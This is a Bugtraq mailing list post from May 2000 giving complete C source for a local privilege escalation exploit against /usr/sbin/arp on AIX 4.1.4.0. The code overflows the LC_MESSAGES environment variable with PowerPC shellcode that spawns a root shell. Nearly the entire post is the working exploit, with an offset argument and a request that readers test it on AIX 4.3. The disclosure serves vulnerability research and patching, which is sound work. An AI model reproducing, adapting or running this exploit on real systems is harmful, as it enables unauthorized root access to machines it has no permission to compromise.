Bugtraq mailing list archives

AIX 4.1.4.0 local root LC_MESSAGES /usr/sbin/arp exploit


From: cripto () SUBTERRAIN NET (cripto)
Date: Sun, 7 May 2000 02:37:17 -0700


Hello,
  One of you will have to test this on AIX 4.3, as 4.1.4.0 is the most
recent release I have access to.

-cripto
Subterrain Security Group
http://www.subterrain.net

/*
 * AIX 4.1.4.0 local root /usr/sbin/arp exploit - SSG-arp.c - 06/06/2000
 *
 * This code is largely from an old AIX mount exploit by Georgi Guninski.
 * Tested on a blazing 33Mhz RS/6000 IBM POWERserver 340!
 *
 * Shouts to bind, xdr, obecian, qwer7y, interrupt, linda, and ur mom.
 *
 * -cripto <cripto () subterrain net>      .o0->  SSG ROX 2000 !@#$$#@!  <-0o.
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#define OFFSET 3580

char prog[100]="/usr/sbin/arp";
char prog2[30]="arp";
extern int execv();

char *createvar(char *name,char *value)
{
  char *retval;
  int l;
  l = strlen(name) + strlen(value) + 4;
  if (! (retval = malloc(l)))
  {
    perror("malloc");
    exit(2);
  };

  strcpy(retval,name);  
  strcat(retval,"=");
  strcat(retval,value);
  putenv(retval);
  return retval;
}

main(int argc,char **argv,char **env)
{
  unsigned int code[]={
  0x7c0802a6 , 0x9421fbb0 , 0x90010458 , 0x3c60f019 ,
  0x60632c48 , 0x90610440 , 0x3c60d002 , 0x60634c0c ,
  0x90610444 , 0x3c602f62 , 0x6063696e , 0x90610438 ,
  0x3c602f73 , 0x60636801 , 0x3863ffff , 0x9061043c ,
  0x30610438 , 0x7c842278 , 0x80410440 , 0x80010444 ,
  0x7c0903a6 , 0x4e800420, 0x0
  };

  #define MAXBUF 600
  unsigned int buf[MAXBUF];
  unsigned int frame[MAXBUF];
  unsigned int i,nop,mn;
  int max;
  int QUIET = 0;
  int dobuf = 0;
  char VAR[30] = "LC_MESSAGES";
  unsigned int toc;
  unsigned int eco;
  unsigned int *pt;
  char *t;
  int egg = 1;
  int ch;
  unsigned int reta;
  int corr = 4604;
  char *args[4];
  char *newenv[8];
  int justframes = 1;
  int startwith = 0;

  mn = 78;
  max = 100;

  if (argc > 1)
  {
    corr = atoi(argv[1]);
  }
  else
  {
    corr = OFFSET;
  }

  pt = (unsigned *) &execv;
  toc = *(pt+1);
  eco = *pt;

  if (((mn + strlen((char*)&code) / 4) > max) || (max > MAXBUF))
  {
    perror("invalid input");
    exit(1);
  }

  #define OO 7
  *((unsigned short *)code + OO + 2) = (unsigned short) (toc & 0x0000ffff);
  *((unsigned short *)code + OO) = (unsigned short) ((toc >> 16) &
    0x0000ffff);
  *((unsigned short *)code + OO + 8 ) = (unsigned short) (eco & 0x0000ffff);
  *((unsigned short *)code + OO + 6 ) = (unsigned short) ((eco >> 16) &
    0x0000ffff);

 reta = startwith ? (unsigned) &buf[mn]+corr : (unsigned)&buf[0] + corr;

  for(nop = 0;nop < mn;nop++)
    buf[nop] = startwith ? reta : 0x4ffffb82;

  strcpy((char*)&buf[nop], (char*)&code);
  i = nop + strlen( (char*) &code)/4-1;

  if( !(reta & 0xff) || !(reta && 0xff00) || !(reta && 0xff0000)
    || !(reta && 0xff000000))
  {
    perror("Return address has zero");
    exit(5);
  }

  while(i++ < max)
  buf[i] = reta;
  buf[i] = 0;

  for(i = 0;i < max-1;i++)
  frame[i] = reta;
  frame[i] = 0;

  if(QUIET)
  {
    puts((char*)&buf);
    fflush(stdout);
    exit(0);
  };

  newenv[0] = createvar("EGGSHEL", (char*)&buf[0]);
  newenv[1] = createvar("EGGSHE2", (char*)&buf[0]);
  newenv[2] = createvar("EGGSHE3", (char*)&buf[0]);
  newenv[3] = createvar("EGGSHE4", (char*)&buf[0]);
  newenv[4] = createvar("DISPLAY", getenv("DISPLAY"));
  newenv[5] = VAR[0] ? createvar(VAR,justframes ? (char*)&frame :
    (char*)&buf):NULL;
  newenv[6] = NULL;

  args[0] = prog2;
  execve(prog,args,newenv);
  perror("execve\n");
}


Current thread: